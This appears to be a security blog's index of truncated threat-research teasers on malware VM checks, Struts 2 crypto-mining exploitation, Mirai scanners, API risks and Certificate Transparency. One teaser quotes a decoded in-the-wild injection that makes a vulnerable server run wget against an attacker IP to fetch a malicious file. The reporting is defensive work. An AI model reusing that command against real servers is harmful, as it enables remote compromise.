Note that each “while” loop is performing string decryption on the sequences of bytes shown in the variables above the loop. When following the execution in a debugger, the strings are decrypted, and some meaningful indicators of VM checks are visible. (See appendix for decryption function details.) In this code snippet, three checks are evident:…
Read MoreJust two weeks ago a new Apache Struts 2 critical remote code execution vulnerability was published,1 and F5 researchers have already detected known threat actors exploiting it in a new crypto-mining campaign: CVE-2018-11776 Apache Struts 2 namespace vulnerability allows unauthenticated remote code execution. In this Monero crypto-mining campaign, the injection point is within the URL.…
Read MoreThe number of Mirai scanner systems across the world decreased slightly from December 2017 to June 2018. There is less concentration of scanner systems in North America, South America, and Asia in June 2018 versus December 2017. Europe is the only region where Mirai scanner infections remained relatively the same from December 2017 to June…
Read MoreImagine you’re a military leader. What if I offered you a weapon to cleanly take out enemy infrastructure with minimal incidental civilian deaths? It has near-infinite operational reach and it’s highly stealthy. Oh, and it’s cheap compared to say, strategic missiles, which cost about a million or so dollars apiece.1 Well, have I got a…
Read MoreData from the Retail Cyber Intelligence Sharing Center (R-CISC) echoes the F5 SOC findings and shows that dramatic increases in shopping activity actually continue into January, making retailers a likely target of attackers.1 In a 2018 survey of R-CISC members, respondents expressed their concern, identifying phishing, credential compromise, and account takeover (ATO) among their top…
Read MoreIntroduction In the 2018 Application Protection Report, we mentioned the potential vulnerabilities associated with application programming interfaces (APIs). These APIs specify how various application components and clients should autonomously interact with each other to deliver the application experience. Through APIs, software services exchange commands and data. Because of this, APIs are tantalizing morsels for predators…
Read MoreWhat is Certificate Transparency? Certificate Transparency (CT) is a method for publicly logging, auditing, and monitoring the creation of new SSL/TLS (digital) certificates. Originally a concept from Google, CT is now an open standard under RFC 6962, albeit still an experimental one. Originally designed to enhance the veracity of Extended Validation (EV) certificates, many certificate…

Read MoreIt’s hard to get through any news cycle today without bots coming up. Those we hear about most spread spam, propagate fake news, or create fake profiles and content on social media sites—often to influence public opinion, spark social unrest, or tamper with elections. During the 2016 US presidential election debates, bots were used on…
Read MoreAfter the vulnerable server decodes the string, it is instructed to download a malicious file. The malicious request after decoding is: oProxyCommand= wget http://185.29.8.28/down.php&port=143&user=sdf&passwd=sadf&server_type=imap&f_submit=Submit. Again, in this case the threat actor took down the malicious file download.php before the researchers could download it to analyze. Weathermap Editor (cacti plugin) Arbitrary Code Execution (CVE-2013-3739) Another known…
